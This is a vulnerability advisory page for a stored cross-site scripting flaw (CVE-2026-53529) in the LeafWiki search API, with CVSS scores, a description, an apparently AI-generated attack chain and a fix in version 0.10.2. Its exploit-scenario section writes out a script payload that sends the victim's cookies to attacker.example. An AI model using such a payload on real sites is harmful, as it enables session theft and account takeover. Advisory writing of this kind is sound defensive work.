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LeafWiki EUVDEUVD-2026-64178

| CVE-2026-53529 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-21 GitHub_M
4.8
CVSS 4.0 · Vendor: GitHub_M
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Vendor (GitHub_M) PRIMARY
4.8 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
5.4 MEDIUM

Editor privileges required to plant payload (PR:L); victim must actively search (UI:R); payload executes in victim's browser scope, causing scope change (S:C) with limited confidentiality and integrity impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

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CVSS VectorVendor: GitHub_M

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
A
Scope
X

Lifecycle Timeline

2
Analysis Generated
Aug 21, 2026 - 22:17 vuln.today
Patch available
Aug 21, 2026 - 22:02 EUVD

DescriptionCVE.org

LeafWiki is a self-hosted wiki. Prior to version 0.10.2, page titles returned by the search API could be rendered as raw HTML in the frontend. A user with editor or administrator permissions could create or modify a page title containing an HTML/JavaScript payload. When another user searched for a matching term, the payload could execute in the victim’s browser. The impact depends on deployment configuration. With --public-access enabled, unauthenticated visitors could be affected. In authenticated-only deployments, the issue could be used for cross-user XSS against logged-in users who can access search results. The issue has been fixed in version 0.10.2 by ensuring that author-controlled page titles in search results are not interpreted as raw HTML by the browser while preserving search result highlighting.

AnalysisAI

Stored cross-site scripting in LeafWiki's search API allows an authenticated editor or administrator to plant a JavaScript payload in a page title, which executes in any victim's browser when they view search results containing that title. No public exploit identified at time of analysis. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Obtain editor/admin credentials
Delivery
Create page with XSS payload in title
Exploit
Victim performs search matching the page title
Execution
Browser renders unescaped title as HTML
Persist
JavaScript executes in victim browser context
Impact
Exfiltrate session token or perform authenticated actions

Vulnerability AssessmentAI

Exploitation The attacker must hold editor or administrator permissions on the target LeafWiki instance in order to create or modify a page title containing the malicious payload - this is the primary gating condition. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 score of 4.8 (Medium) is well-calibrated for this vulnerability. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker who has obtained editor credentials (e.g., via credential stuffing, a compromised account, or insider access) creates or edits a LeafWiki page with a title such as `Welcome<script>document.location='https://attacker.example/steal?c='+document.cookie</script>`. When a victim user (or unauthenticated visitor if `--public-access` is on) searches for any term that matches that page title, the search results page renders the payload, triggering session cookie exfiltration. …
Remediation Upgrade LeafWiki to version 0.10.2, which resolves the issue by HTML-encoding author-controlled page titles in search result output. … Detailed patch versions, workarounds, and compensating controls in full report.

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